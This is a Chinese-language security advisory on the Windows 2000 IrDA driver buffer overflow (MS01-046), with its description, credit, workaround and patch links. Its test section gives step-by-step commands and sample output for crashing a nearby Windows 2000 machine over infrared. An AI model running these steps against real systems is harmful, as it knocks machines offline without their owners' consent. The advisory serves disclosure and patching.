安全研究

安全漏洞
Windows 2000 IrDA 驱动拒绝服务漏洞(MS01-046)

发布日期:2001-08-22
更新日期:2001-08-22

受影响系统:
Micorosft Windows 2000
描述:
BUGTRAQ  ID: 3215
CVE(CAN) ID: CVE-2001-0659

Microsoft Windows 2000提供了对红外通信的支持。这种支持由IrDA驱动程序来提供。
Windows 2000在处理IrDA设备时存在一个缓冲区溢出漏洞,如果恶意用户构造并发送一个
特定格式的IrDA报文给一台Windows 2000系统,就可能触发一个缓冲区溢出,并导致系统
访问错误。被攻击者的主机表现为蓝屏,并重新启动系统。

由于红外连接的距离有限,因此攻击者不可能远程进行这种攻击。
  
<*来源:Paul Millar (paulm@astro.gla.ac.uk)
        微软安全公告MS01-046:
        http://www.microsoft.com/technet/security/bulletin/MS01-46.asp
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Paul Millar (paulm@astro.gla.ac.uk) 提供了如下测试代码:

  1. 启动便携式电脑,攻击者的主机运行Linux,内核需要支持IrDA
    
  2. 在Linux下安装irda-utils-0.9.10-9
  3. 执行下列命令激活IrDA端口:"irattach /dev/ttyS1 -s"
  4. 运行"irdadump"命令确保Linux系统工作正常。输出如下:

     07:28:17.790903 xid:cmd 4d274896 > ffffffff S=6 s=0 (14)
     07:28:17.880849 xid:cmd 4d274896 > ffffffff S=6 s=1 (14)
     07:28:17.970845 xid:cmd 4d274896 > ffffffff S=6 s=2 (14)
     07:28:18.060858 xid:cmd 4d274896 > ffffffff S=6 s=3 (14)
     07:28:18.150840 xid:cmd 4d274896 > ffffffff S=6 s=4 (14)
     07:28:18.240861 xid:cmd 4d274896 > ffffffff S=6 s=5 (14)
     07:28:18.330859 xid:cmd 4d274896 > ffffffff S=6 s=* rattusrattus hint=0400 [ Computer ] (28)

  5. 将便携式电脑放在与被攻击主机在IrDA有效范围内的位置。
  6. 运行“irdaping".需要提供目的地址,例如上面就应该使用"0x4d274896"
  7. 被攻击的主机会发生蓝屏并自动重启。

建议:
临时解决方法:

在设备管理器中禁止IrDA端口。

厂商补丁:

微软已经为此发布了一个安全公告(MS01-046)以及相应补丁程序:
http://www.microsoft.com/technet/security/bulletin/MS01-046.asp

补丁下载:
  
    Microsoft Windows 2000:
    http://www.microsoft.com/windows2000/downloads/critical/q252795/default.asp

浏览次数:3982
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障